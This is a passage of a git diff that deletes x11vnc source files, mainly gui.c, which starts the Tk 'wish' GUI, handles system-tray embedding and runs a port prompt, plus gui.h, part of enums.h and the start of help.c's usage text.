-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_ENUMS_H
-#define _X11VNC_ENUMS_H
-
-/* -- enums.h -- */
-
-enum {
- LR_UNSET = 0,
- LR_UNKNOWN,
- LR_DIALUP,
- LR_BROADBAND,
- LR_LAN
-};
-
-enum scroll_types {
- SCR_NONE = 0,
- SCR_MOUSE,
- SCR_KEY,
- SCR_FAIL,
- SCR_SUCCESS
-};
-
-#endif /* _X11VNC_ENUMS_H */
diff --git a/x11vnc/gui.c b/x11vnc/gui.c
deleted file mode 100644
index 6101adb..0000000
--- a/x11vnc/gui.c
+++ /dev/null
@@ -1,937 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- gui.c -- */
-
-#include "x11vnc.h"
-#include "xevents.h"
-#include "win_utils.h"
-#include "remote.h"
-#include "cleanup.h"
-#include "xwrappers.h"
-#include "connections.h"
-
-#include "tkx11vnc.h"
-
-#define SYSTEM_TRAY_REQUEST_DOCK 0
-#define SYSTEM_TRAY_BEGIN_MESSAGE 1
-#define SYSTEM_TRAY_CANCEL_MESSAGE 2
-#define XEMBED_VERSION 0
-#define XEMBED_MAPPED (1 << 0)
-
-int icon_mode = 0; /* hack for -gui tray/icon */
-char *icon_mode_file = NULL;
-FILE *icon_mode_fh = NULL;
-int icon_mode_socks[ICON_MODE_SOCKS];
-int tray_manager_ok = 0;
-Window tray_request = None;
-Window tray_window = None;
-int tray_unembed = 0;
-pid_t run_gui_pid = 0;
-pid_t gui_pid = 0;
-
-
-char *get_gui_code(void);
-int tray_embed(Window iconwin, int remove);
-void do_gui(char *opts, int sleep);
-
-
-static Window tweak_tk_window_id(Window win);
-static int tray_manager_running(Display *d, Window *manager);
-static void run_gui(char *gui_xdisplay, int connect_to_x11vnc, int start_x11vnc,
- int simple_gui, pid_t parent, char *gui_opts);
-
-
-char *get_gui_code(void) {
- return gui_code;
-}
-
-static Window tweak_tk_window_id(Window win) {
-#if NO_X11
- if (!win) {}
- return None;
-#else
- char *name = NULL;
- Window parent, new_win;
-
- if (getenv("NO_TWEAK_TK_WINDOW_ID")) {
- return win;
- }
-
- /* hack for tk, does not report outermost window */
- new_win = win;
- parent = parent_window(win, &name);
- if (parent && name != NULL) {
- lowercase(name);
- if (strstr(name, "wish") || strstr(name, "x11vnc")) {
- new_win = parent;
- rfbLog("tray_embed: using parent: %s\n", name);
- }
- }
- if (name != NULL) {
- XFree_wr(name);
- }
- return new_win;
-#endif /* NO_X11 */
-}
-
-int tray_embed(Window iconwin, int remove) {
-#if NO_X11
- RAWFB_RET(0)
- if (!iconwin || !remove) {}
- return 0;
-#else
- XEvent ev;
- XErrorHandler old_handler;
- Window manager;
- Atom xembed_info;
- Atom tatom;
- XWindowAttributes attr;
- long info[2] = {XEMBED_VERSION, XEMBED_MAPPED};
- long data = 0;
-
- RAWFB_RET(0)
-
- if (remove) {
- if (!valid_window(iconwin, &attr, 1)) {
- return 0;
- }
- iconwin = tweak_tk_window_id(iconwin);
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- /*
- * unfortunately no desktops seem to obey this
- * part of the XEMBED spec yet...
- */
- XReparentWindow(dpy, iconwin, rootwin, 0, 0);
-
- XSetErrorHandler(old_handler);
- if (trapped_xerror) {
- trapped_xerror = 0;
- return 0;
- }
- trapped_xerror = 0;
- return 1;
- }
-
- xembed_info = XInternAtom(dpy, "_XEMBED_INFO", False);
- if (xembed_info == None) {
- return 0;
- }
-
- if (!tray_manager_running(dpy, &manager)) {
- return 0;
- }
-
- memset(&ev, 0, sizeof(ev));
- ev.xclient.type = ClientMessage;
- ev.xclient.window = manager;
- ev.xclient.message_type = XInternAtom(dpy, "_NET_SYSTEM_TRAY_OPCODE",
- False);
- ev.xclient.format = 32;
- ev.xclient.data.l[0] = CurrentTime;
- ev.xclient.data.l[1] = SYSTEM_TRAY_REQUEST_DOCK;
- ev.xclient.data.l[2] = iconwin;
- ev.xclient.data.l[3] = 0;
- ev.xclient.data.l[4] = 0;
-
- if (!valid_window(iconwin, &attr, 1)) {
- return 0;
- }
-
- iconwin = tweak_tk_window_id(iconwin);
- ev.xclient.data.l[2] = iconwin;
-
- XUnmapWindow(dpy, iconwin);
-
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- XSendEvent(dpy, manager, False, NoEventMask, &ev);
- XSync(dpy, False);
-
- if (trapped_xerror) {
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- return 0;
- }
-
- XChangeProperty(dpy, iconwin, xembed_info, xembed_info, 32,
- PropModeReplace, (unsigned char *)&info, 2);
-
-#if 0
-{
-XSizeHints *xszh = XAllocSizeHints();
-xszh->flags = PMinSize;
-xszh->min_width = 24;
-xszh->min_height = 24;
-XSetWMNormalHints(dpy, iconwin, xszh);
-}
-#endif
-
- /* kludge for KDE evidently needed... */
- tatom = XInternAtom(dpy, "KWM_DOCKWINDOW", False);
- XChangeProperty(dpy, iconwin, tatom, tatom, 32, PropModeReplace,
- (unsigned char *)&data, 1);
- tatom = XInternAtom(dpy, "_KDE_NET_WM_SYSTEM_TRAY_WINDOW_FOR", False);
- XChangeProperty(dpy, iconwin, tatom, XA_WINDOW, 32, PropModeReplace,
- (unsigned char *)&data, 1);
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- return 1;
-#endif /* NO_X11 */
-}
-
-static int tray_manager_running(Display *d, Window *manager) {
-#if NO_X11
- RAWFB_RET(0)
- if (!d || !manager) {}
- return 0;
-#else
- char tray_string[100];
- Atom tray_manager;
- Window tray_win;
-
- RAWFB_RET(0)
-
- if (manager) {
- *manager = None;
- }
- sprintf(tray_string, "_NET_SYSTEM_TRAY_S%d", scr);
-
- tray_manager = XInternAtom(d, tray_string, True);
- if (tray_manager == None) {
- return 0;
- }
-
- tray_win = XGetSelectionOwner(d, tray_manager);
- if (manager) {
- *manager = tray_win;
- }
-
- if (tray_win == None) {
- return 0;
- } else {
- return 1;
- }
-#endif /* NO_X11 */
-}
-
-static char *gui_geometry = NULL;
-static int icon_in_tray = 0;
-static char *icon_mode_embed_id = NULL;
-static char *icon_mode_font = NULL;
-static char *icon_mode_params = NULL;
-
-static int got_sigusr1 = 0;
-
-static void sigusr1 (int sig) {
- got_sigusr1 = 1;
- if (0) sig = 0;
-}
-
-/* Most of the following mess is for wish on Solaris: */
-
-static char *extra_path = ":/usr/local/bin:/usr/bin/X11:/usr/sfw/bin"
- ":/usr/X11R6/bin:/usr/openwin/bin:/usr/dt/bin:/opt/sfw/bin";
-static char *wishes[] = {"wish8.4", "wish", "wish8.3", "wish8.5", "wish8.6", "wish8.7", "wishx", "wish8.0", NULL};
-
-static void run_gui(char *gui_xdisplay, int connect_to_x11vnc, int start_x11vnc,
- int simple_gui, pid_t parent, char *gui_opts) {
- char *x11vnc_xdisplay = NULL;
- char cmd[100];
- char *wish = NULL, *orig_path, *full_path, *tpath, *p;
- char *old_xauth = NULL;
- int try_max = 4, sleep = 300, totms, rc = 0;
- pid_t mypid = getpid();
- FILE *pipe, *tmpf;
-
-if (0) fprintf(stderr, "run_gui: %s -- %d %d\n", gui_xdisplay, connect_to_x11vnc, (int) parent);
- if (*gui_code == '\0') {
- rfbLog("gui: gui not compiled into this program.\n");
- exit(0);
- }
- if (getenv("DISPLAY") != NULL) {
- /* worst case */
- x11vnc_xdisplay = strdup(getenv("DISPLAY"));
- }
- if (use_dpy) {
- /* better */
- x11vnc_xdisplay = strdup(use_dpy);
- }
- if (connect_to_x11vnc) {
- int i;
- rfbLogEnable(1);
- if (! client_connect_file) {
- if (getenv("XAUTHORITY") != NULL) {
- old_xauth = strdup(getenv("XAUTHORITY"));
- } else {
- old_xauth = strdup("");
- }
- dpy = XOpenDisplay_wr(x11vnc_xdisplay);
- if (! dpy && auth_file) {
- set_env("XAUTHORITY", auth_file);
- dpy = XOpenDisplay_wr(x11vnc_xdisplay);
- }
- if (! dpy && ! x11vnc_xdisplay) {
- /* worstest case */
- x11vnc_xdisplay = strdup(":0");
- dpy = XOpenDisplay_wr(x11vnc_xdisplay);
- }
- if (! dpy) {
- rfbLog("gui: could not open x11vnc "
- "display: %s\n", NONUL(x11vnc_xdisplay));
-#ifdef MACOSX
- goto macjump;
-#endif
- exit(1);
- }
- scr = DefaultScreen(dpy);
- rootwin = RootWindow(dpy, scr);
- initialize_vnc_connect_prop();
- initialize_x11vnc_remote_prop();
- }
-
-#ifdef MACOSX
- macjump:
-#endif
-
- signal(SIGUSR1, sigusr1);
- got_sigusr1 = 0;
- totms = 0;
- while (totms < 3500) {
- usleep(50*1000);
- totms += 50;
- if (got_sigusr1) {
- fprintf(stderr, "\n");
- if (! quiet) rfbLog("gui: got SIGUSR1\n");
- break;
- }
- if (! start_x11vnc && totms >= 150) {
- break;
- }
- }
- signal(SIGUSR1, SIG_DFL);
- if (! got_sigusr1) fprintf(stderr, "\n");
-
- if (!quiet && ! got_sigusr1) {
- rfbLog("gui: trying to contact a x11vnc server at X"
- " display %s ...\n", NONUL(x11vnc_xdisplay));
- }
-
- for (i=0; i<try_max; i++) {
- if (! got_sigusr1) {
- if (!quiet) {
- rfbLog("gui: pinging %s try=%d ...\n",
- NONUL(x11vnc_xdisplay), i+1);
- }
- rc = send_remote_cmd("qry=ping", 1, 1);
- if (rc == 0) {
- break;
- }
- } else {
- rc = 0;
- break;
- }
- if (parent && mypid != parent && kill(parent, 0) != 0) {
- rfbLog("gui: parent process %d has gone"
- " away: bailing out.\n", parent);
- rc = 1;
- break;
- }
- usleep(sleep*1000);
- }
- set_env("X11VNC_XDISPLAY", x11vnc_xdisplay);
- if (getenv("XAUTHORITY") != NULL) {
- set_env("X11VNC_AUTH_FILE", getenv("XAUTHORITY"));
- }
- if (rc == 0) {
- rfbLog("gui: ping succeeded.\n");
- set_env("X11VNC_CONNECT", "1");
- } else {
- rfbLog("gui: could not connect to: '%s', try"
- " again manually.\n", x11vnc_xdisplay);
- }
- if (client_connect_file) {
- set_env("X11VNC_CONNECT_FILE", client_connect_file);
- }
- if (dpy) {
- XCloseDisplay_wr(dpy);
- dpy = NULL;
- }
- if (old_xauth) {
- if (*old_xauth == '\0') {
- /* wasn't set, hack it out if it is now */
- char *xauth = getenv("XAUTHORITY");
- if (xauth) {
- *(xauth-2) = '_'; /* yow */
- }
- } else {
- set_env("XAUTHORITY", old_xauth);
- }
- free(old_xauth);
- }
- rfbLogEnable(0);
- }
-
- orig_path = getenv("PATH");
- if (! orig_path) {
- orig_path = strdup("/bin:/usr/bin:/usr/bin/X11");
- }
- full_path = (char *) malloc(strlen(orig_path)+strlen(extra_path)+1);
- strcpy(full_path, orig_path);
- strcat(full_path, extra_path);
-
- tpath = strdup(full_path);
- p = strtok(tpath, ":");
-
- while (p) {
- char *try;
- struct stat sbuf;
- int i;
-
- try = (char *) malloc(strlen(p) + 1 + strlen("wish8.4") + 1);
- i = 0;
- while (wishes[i] != NULL) {
- sprintf(try, "%s/%s", p, wishes[i]);
- if (stat(try, &sbuf) == 0) {
- /* assume executable, should check mode */
- wish = wishes[i];
- break;
- }
- i++;
- }
- free(try);
- if (wish) {
- break;
- }
- p = strtok(NULL, ":");
- }
- free(tpath);
- if (!wish) {
- wish = strdup("wish");
- }
- if (getenv("WISH")) {
- char *w = getenv("WISH");
- if (strcmp(w, "")) {
- wish = strdup(w);
- }
- }
- if (getenv("DEBUG_WISH")) {
- fprintf(stderr, "wish: %s\n", wish);
- }
- set_env("PATH", full_path);
- set_env("DISPLAY", gui_xdisplay);
- set_env("X11VNC_PROG", program_name);
- set_env("X11VNC_CMDLINE", program_cmdline);
- set_env("X11VNC_WISHCMD", wish);
- if (simple_gui) {
- set_env("X11VNC_SIMPLE_GUI", "1");
- }
- if (gui_opts) {
- set_env("X11VNC_GUI_PARAMS", gui_opts);
- }
- if (gui_geometry) {
- set_env("X11VNC_GUI_GEOM", gui_geometry);
- }
- if (start_x11vnc) {
- set_env("X11VNC_STARTED", "1");
- }
- if (icon_mode) {
- set_env("X11VNC_ICON_MODE", "1");
- if (icon_mode_file) {
- set_env("X11VNC_CLIENT_FILE", icon_mode_file);
- }
- if (icon_in_tray) {
- if (tray_manager_ok) {
- set_env("X11VNC_ICON_MODE", "TRAY:RUNNING");
- } else {
- set_env("X11VNC_ICON_MODE", "TRAY");
- }
- } else {
- set_env("X11VNC_ICON_MODE", "ICON");
- }
- if (icon_mode_params) {
- char *p, *str = strdup(icon_mode_params);
- p = strtok(str, ":-/,.+");
- while (p) {
- if(strstr(p, "setp") == p) {
- set_env("X11VNC_ICON_SETPASS", "1");
- if (rc != 0) {
- set_env("X11VNC_SETPASS_FAIL", "1");
- }
- } else if(strstr(p, "noadvanced") == p) {
- set_env("X11VNC_ICON_NOADVANCED", "1");
- } else if(strstr(p, "minimal") == p) {
- set_env("X11VNC_ICON_MINIMAL", "1");
- } else if (strstr(p, "0x") == p) {
- set_env("X11VNC_ICON_EMBED_ID", p);
- icon_mode_embed_id = strdup(p);
- }
- p = strtok(NULL, ":-/,.+");
- }
- free(str);
- }
- }
- if (icon_mode_font) {
- set_env("X11VNC_ICON_FONT", icon_mode_font);
- }
-
- /* gui */
- if (no_external_cmds || !cmd_ok("gui")) {
- fprintf(stderr, "cannot run external commands in -nocmds "
- "mode:\n");
- fprintf(stderr, " \"%s\"\n", "gui + wish");
- fprintf(stderr, " exiting.\n");
- fflush(stderr);
- exit(1);
- }
-
- tmpf = tmpfile();
- if (tmpf == NULL) {
- /* if no tmpfile, use a pipe */
- if (icon_mode_embed_id) {
- if (strlen(icon_mode_embed_id) < 20) {
- strcat(cmd, " -use ");
- strcat(cmd, icon_mode_embed_id);
- }
- }
- close_exec_fds();
- pipe = popen(cmd, "w");
- if (! pipe) {
- fprintf(stderr, "could not run: %s\n", cmd);
- perror("popen");
- }
- fprintf(pipe, "%s", gui_code);
- pclose(pipe);
- } else {
- /*
- * we prefer a tmpfile since then this x11vnc process
- * will then be gone, otherwise the x11vnc program text
- * will still be in use.
- */
- int n = fileno(tmpf);
- fprintf(tmpf, "%s", gui_code);
- fflush(tmpf);
- rewind(tmpf);
- dup2(n, 0);
- close(n);
- if (icon_mode_embed_id) {
- execlp(wish, wish, "-", "-use", icon_mode_embed_id,
- (char *) NULL);
- } else {
- execlp(wish, wish, "-", (char *) NULL);
- }
- fprintf(stderr, "could not exec wish: %s -\n", wish);
- perror("execlp");
- }
- exit(0);
-}
-
-void do_gui(char *opts, int sleep) {
- char *s, *p;
- char *old_xauth = NULL;
- char *gui_xdisplay = NULL;
- int got_gui_xdisplay = 0;
- int start_x11vnc = 1;
- int connect_to_x11vnc = 0;
- int simple_gui = 0, none_gui = 0;
- int portprompt = 0;
- Display *test_dpy;
-
- if (opts) {
- s = strdup(opts);
- } else {
- s = strdup("");
- }
-
- if (use_dpy) {
- /* worst case */
- gui_xdisplay = strdup(use_dpy);
-
- }
- if (getenv("DISPLAY") != NULL) {
- /* better */
- gui_xdisplay = strdup(getenv("DISPLAY"));
- }
-
- p = strtok(s, ",");
-
- while(p) {
- if (*p == '\0') {
- ;
- } else if (strchr(p, ':') != NULL) {
- /* best */
- if (gui_xdisplay) {
- free(gui_xdisplay);
- }
- gui_xdisplay = strdup(p);
- got_gui_xdisplay = 1;
- } else if (!strcmp(p, "wait")) {
- start_x11vnc = 0;
- connect_to_x11vnc = 0;
- } else if (!strcmp(p, "none")) {
- none_gui = 1;
- } else if (!strcmp(p, "portprompt")) {
- start_x11vnc = 0;
- connect_to_x11vnc = 0;
- portprompt = 1;
- } else if (!strcmp(p, "conn") || !strcmp(p, "connect")) {
- start_x11vnc = 0;
- connect_to_x11vnc = 1;
- } else if (!strcmp(p, "ez") || !strcmp(p, "simple")) {
- simple_gui = 1;
- } else if (strstr(p, "iconfont") == p) {
- char *q;
- if ((q = strchr(p, '=')) != NULL) {
- icon_mode_font = strdup(q+1);
- }
- } else if (strstr(p, "full") == p) {
- if (strstr(p, "setp") && 0) {
- set_env("X11VNC_ICON_MODE", "2");
- set_env("X11VNC_ICON_SETPASS", "2");
- }
- } else if (strstr(p, "tray") == p || strstr(p, "icon") == p) {
- char *q;
- icon_mode = 1;
- if ((q = strchr(p, '=')) != NULL) {
- icon_mode_params = strdup(q+1);
- if (strstr(icon_mode_params, "setp")) {
- deny_all = 1;
- }
- }
- if (strstr(p, "tray") == p) {
- icon_in_tray = 1;
- }
- } else if (strstr(p, "geom") == p) {
- char *q;
- if ((q = strchr(p, '=')) != NULL) {
- gui_geometry = strdup(q+1);
- }
- } else {
- fprintf(stderr, "unrecognized gui opt: %s\n", p);
- }
-
- p = strtok(NULL, ",");
- }
- free(s);
-
- if (none_gui) {
- if (!start_x11vnc) {
- exit(0);
- }
- return;
- }
- if (start_x11vnc) {
- connect_to_x11vnc = 1;
- }
-
-
-#ifdef MACOSX
- goto startit;
-#endif
-
- if (icon_mode && !got_gui_xdisplay) {
- /* for tray mode, prefer the polled DISPLAY */
- if (use_dpy) {
- if (gui_xdisplay) {
- free(gui_xdisplay);
- }
- gui_xdisplay = strdup(use_dpy);
- }
- }
-
- if (! gui_xdisplay) {
- fprintf(stderr, "error: cannot determine X DISPLAY for gui"
- " to display on.\n");
- exit(1);
- }
- if (!quiet && !portprompt) {
- fprintf(stderr, "starting gui, trying display: %s\n",
- gui_xdisplay);
- }
- test_dpy = XOpenDisplay_wr(gui_xdisplay);
- if (! test_dpy && auth_file) {
- if (getenv("XAUTHORITY") != NULL) {
- old_xauth = strdup(getenv("XAUTHORITY"));
- }
- set_env("XAUTHORITY", auth_file);
- test_dpy = XOpenDisplay_wr(gui_xdisplay);
- }
- if (! test_dpy) {
- if (! old_xauth && getenv("XAUTHORITY") != NULL) {
- old_xauth = strdup(getenv("XAUTHORITY"));
- }
- set_env("XAUTHORITY", "");
- test_dpy = XOpenDisplay_wr(gui_xdisplay);
- }
- if (! test_dpy) {
- fprintf(stderr, "error: cannot connect to gui X DISPLAY: %s\n",
- gui_xdisplay);
- exit(1);
- }
- if (icon_mode && icon_in_tray) {
- if (tray_manager_running(test_dpy, NULL)) {
- tray_manager_ok = 1;
- } else {
- tray_manager_ok = 0;
- }
- }
- XCloseDisplay_wr(test_dpy);
-
-#ifdef MACOSX
- startit:
-#endif
- if (portprompt) {
- char *cmd, *p, *p2, *p1, *p0 = getenv("PATH");
- char tf1[] = "/tmp/x11vnc_port_prompt.2XXXXXX";
- char tf2[] = "/tmp/x11vnc_port_prompt.1XXXXXX";
- int fd;
- char *dstr = "", *wish = NULL;
- char line[128];
- FILE *fp;
-
- if (no_external_cmds || !cmd_ok("gui")) {
- return;
- }
-
- if (gui_xdisplay) {
- dstr = gui_xdisplay;
- if (strchr(gui_xdisplay, '\'')) {
- return;
- }
- }
- if (!p0) {
- p0 = "";
- }
- if (strchr(p0, '\'')) {
- return;
- }
-
- fd = mkstemp(tf2);
- if (fd < 0) {
- return;
- }
- close(fd);
-
- fd = mkstemp(tf1);
- if (fd < 0) {
- unlink(tf2);
- return;
- }
-
- write(fd, gui_code, strlen(gui_code));
- close(fd);
-
- p1 = (char *) malloc(10 + strlen(p0) + strlen(extra_path));
- sprintf(p1, "%s:%s", p0, extra_path);
- p2 = strdup(p1);
- p = strtok(p2, ":");
-
- while (p) {
- char *try;
- struct stat sbuf;
- int i;
-
- try = (char *) malloc(strlen(p) + 1 + strlen("wish8.4") + 1);
- i = 0;
- while (wishes[i] != NULL) {
- sprintf(try, "%s/%s", p, wishes[i]);
- if (stat(try, &sbuf) == 0) {
- /* assume executable, should check mode */
- wish = wishes[i];
- break;
- }
- i++;
- }
- free(try);
- if (wish) {
- break;
- }
- p = strtok(NULL, ":");
- }
- free(p2);
-
- if (!wish) {
- wish = "wish";
- }
-
- cmd = (char *) malloc(200 + strlen(dstr) + strlen(p1));
-
- if (!strcmp(dstr, "")) {
- sprintf(cmd, "env PATH='%s' %s %s -name x11vnc_port_prompt -portprompt > %s", p1, wish, tf1, tf2);
- } else {
- sprintf(cmd, "env PATH='%s' DISPLAY='%s' %s %s -name x11vnc_port_prompt -portprompt > %s", p1, dstr, wish, tf1, tf2);
- }
- if (getenv("X11VNC_DEBUG_PORTPROMPT")) {
- fprintf(stderr, "cmd=%s\n", cmd);
- }
- if (use_openssl) {
- set_env("X11VNC_SSL_ENABLED", "1");
- }
- if (allow_list && !strcmp(allow_list, "127.0.0.1")) {
- set_env("X11VNC_LOCALHOST_ENABLED", "1");
- }
- if (got_ultrafilexfer) {
- set_env("X11VNC_FILETRANSFER_ENABLED", "ultra");
- } else if (tightfilexfer) {
- set_env("X11VNC_FILETRANSFER_ENABLED", "tight");
- }
- system(cmd);
- free(cmd);
- free(p1);
-
- fp = fopen(tf2, "r");
- memset(line, 0, sizeof(line));
- if (fp) {
- fgets(line, 128, fp);
- fclose(fp);
- if (line[0] != '\0') {
- int readport = atoi(line);
- if (readport > 0) {
- got_rfbport_val = readport;
- }
- }
- }
-
- if (strstr(line, "ssl0")) {
- if (use_openssl) use_openssl = 0;
- } else if (strstr(line, "ssl1")) {
- if (!use_openssl) {
- use_openssl = 1;
- openssl_pem = strdup("SAVE_NOPROMPT");
- set_env("X11VNC_GOT_SSL", "1");
- }
- }
-
- if (strstr(line, "localhost0")) {
- if (allow_list && !strcmp(allow_list, "127.0.0.1")) {
- allow_list = NULL;
- }
- } else if (strstr(line, "localhost1")) {
- allow_list = strdup("127.0.0.1");
- }
-
- if (strstr(line, "ft_ultra")) {
- got_ultrafilexfer = 1;
- tightfilexfer = 0;
- } else if (strstr(line, "ft_tight")) {
- got_ultrafilexfer = 0;
- tightfilexfer = 1;
- } else if (strstr(line, "ft_none")) {
- got_ultrafilexfer = 0;
- tightfilexfer = 0;
- }
-
- unlink(tf1);
- unlink(tf2);
-
- if (old_xauth) {
- set_env("XAUTHORITY", old_xauth);
- }
-
- return;
- }
-
- if (start_x11vnc) {
-
-#if LIBVNCSERVER_HAVE_FORK
- /* fork into the background now */
- int p;
- pid_t parent = getpid();
-
- if (icon_mode) {
- char tf[] = "/tmp/x11vnc.tray.XXXXXX";
- int fd;
-
- fd = mkstemp(tf);
- if (fd < 0) {
- icon_mode = 0;
- } else {
- close(fd);
- icon_mode_fh = fopen(tf, "w");
- if (! icon_mode_fh) {
- icon_mode = 0;
- } else {
- chmod(tf, 0400);
- icon_mode_file = strdup(tf);
- rfbLog("icon_mode_file=%s\n", icon_mode_file);
- fprintf(icon_mode_fh, "none\n");
- fprintf(icon_mode_fh, "none\n");
- fflush(icon_mode_fh);
- if (! got_connect_once) {
- if (!client_connect && !connect_or_exit) {
- /* want -forever for tray? */
- connect_once = 0;
- }
- }
- }
- }
- }
-
- if ((p = fork()) > 0) {
- ; /* parent */
- } else if (p == -1) {
- fprintf(stderr, "could not fork\n");
- perror("fork");
- clean_up_exit(1);
- } else {
- if (sleep > 0) {
- usleep(sleep * 1000 * 1000);
- }
- run_gui(gui_xdisplay, connect_to_x11vnc, start_x11vnc,
- simple_gui, parent, opts);
- exit(1);
- }
- if (connect_to_x11vnc) {
- run_gui_pid = p;
- gui_pid = p;
- }
-#else
- fprintf(stderr, "system does not support fork: start "
- "x11vnc in the gui.\n");
- start_x11vnc = 0;
-#endif
- }
- if (!start_x11vnc) {
- run_gui(gui_xdisplay, connect_to_x11vnc, start_x11vnc,
- simple_gui, 0, opts);
- exit(1);
- }
- if (old_xauth) {
- set_env("XAUTHORITY", old_xauth);
- }
-}
-
-
diff --git a/x11vnc/gui.h b/x11vnc/gui.h
deleted file mode 100644
index d097ddb..0000000
--- a/x11vnc/gui.h
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_GUI_H
-#define _X11VNC_GUI_H
-
-/* -- gui.h -- */
-
-extern int icon_mode;
-extern char *icon_mode_file;
-extern FILE *icon_mode_fh;
-extern int icon_mode_socks[];
-extern int tray_manager_ok;
-extern Window tray_request;
-extern Window tray_window;
-extern int tray_unembed;
-extern pid_t run_gui_pid;
-extern pid_t gui_pid;
-
-extern char *get_gui_code(void);
-extern int tray_embed(Window iconwin, int remove);
-extern void do_gui(char *opts, int sleep);
-
-#endif /* _X11VNC_GUI_H */
diff --git a/x11vnc/help.c b/x11vnc/help.c
deleted file mode 100644
index 5cd5c12..0000000
--- a/x11vnc/help.c
+++ /dev/null
@@ -1,6441 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- help.c -- */
-
-#include "x11vnc.h"
-#include "xdamage.h"
-#include "cursor.h"
-
-/*
- * text printed out under -help option
- */
-
-void print_help(int mode);
-void print_license(void);
-void xopen_display_fail_message(char *disp);
-void nopassword_warning_msg(int gotloc);
-
-
-void print_help(int mode) {
-#if !SKIP_HELP
- char help[] =
-"\n"
-"x11vnc: allow VNC connections to real X11 displays. %s\n"
-"\n"
-"(type \"x11vnc -opts\" to just list the options.)\n"
-"\n"
-"Typical usage is:\n"
-"\n"
-" Run this command in a shell on the remote machine \"far-host\"\n"
-" with X session you wish to view:\n"
-"\n"
-" x11vnc -display :0\n"
-"\n"
-" Then run this in another window on the machine you are sitting at:\n"
-"\n"
-" vncviewer far-host:0\n"
-"\n"
-"Once x11vnc establishes connections with the X11 server and starts listening\n"
-"as a VNC server it will print out a string: PORT=XXXX where XXXX is typically\n"
-"5900 (the default VNC server port). One would next run something like\n"
-"this on the local machine: \"vncviewer hostname:N\" where \"hostname\" is\n"
-"the name of the machine running x11vnc and N is XXXX - 5900, i.e. usually\n"
-"\"vncviewer hostname:0\".\n"
-"\n"
-"By default x11vnc will not allow the screen to be shared and it will exit\n"
-"as soon as the client disconnects. See -shared and -forever below to override\n"
-"these protections. See the FAQ for details how to tunnel the VNC connection\n"
-"through an encrypted channel such as ssh(1). In brief:\n"
-"\n"
